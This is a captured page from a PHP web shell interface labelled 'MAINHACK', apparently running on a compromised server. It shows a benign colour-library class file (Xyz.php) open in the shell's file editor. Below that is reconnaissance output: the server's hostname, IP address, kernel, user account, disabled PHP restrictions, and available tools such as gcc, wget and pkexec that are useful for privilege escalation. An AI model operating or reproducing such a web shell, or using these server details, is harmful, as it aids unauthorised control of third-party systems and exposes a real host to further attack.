[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Xyz.php
<?php namespace Spatie\Color; class Xyz implements Color { /** @var float */ protected $x; protected $y; protected $z; public function __construct(float $x, float $y, float $z) { Validate::xyzValue($x, 'x'); Validate::xyzValue($y, 'y'); Validate::xyzValue($z, 'z'); $this->x = $x; $this->y = $y; $this->z = $z; } public static function fromString(string $string) { Validate::xyzColorString($string); $matches = null; preg_match('/xyz\( *(\d{1,2}\.?\d+? *, *\d{1,3}\.?\d+? *, *\d{1,3}\.?\d+?) *\)/i', $string, $matches); $channels = explode(',', $matches[1]); [$x, $y, $z] = array_map('trim', $channels); return new static($x, $y, $z); } public function x(): float { return $this->x; } public function y(): float { return $this->y; } public function z(): float { return $this->z; } public function red(): int { $rgb = $this->toRgb(); return $rgb->red(); } public function blue(): int { $rgb = $this->toRgb(); return $rgb->blue(); } public function green(): int { $rgb = $this->toRgb(); return $rgb->green(); } public function toCIELab(): CIELab { [$l, $a, $b] = Convert::xyzValueToCIELab( $this->x, $this->y, $this->z ); return new CIELab($l, $a, $b); } public function toCmyk(): Cmyk { return $this->toRgb()->toCmyk(); } public function toHex(?string $alpha = null): Hex { return $this->toRgb()->toHex($alpha ?? 'ff'); } public function toHsb(): Hsb { return $this->toRgb()->toHsb(); } public function toHsl(): Hsl { return $this->toRgb()->toHSL(); } public function toHsla(?float $alpha = null): Hsla { return $this->toRgb()->toHsla($alpha ?? 1); } public function toRgb(): Rgb { [$red, $green, $blue] = Convert::xyzValueToRgb( $this->x, $this->y, $this->z ); return new Rgb($red, $green, $blue); } public function toRgba(?float $alpha = null): Rgba { return $this->toRgb()->toRgba($alpha ?? 1); } public function toXyz(): self { return new self($this->x, $this->y, $this->z); } public function __toString(): string { return "xyz({$this->x},{$this->y},{$this->z})"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002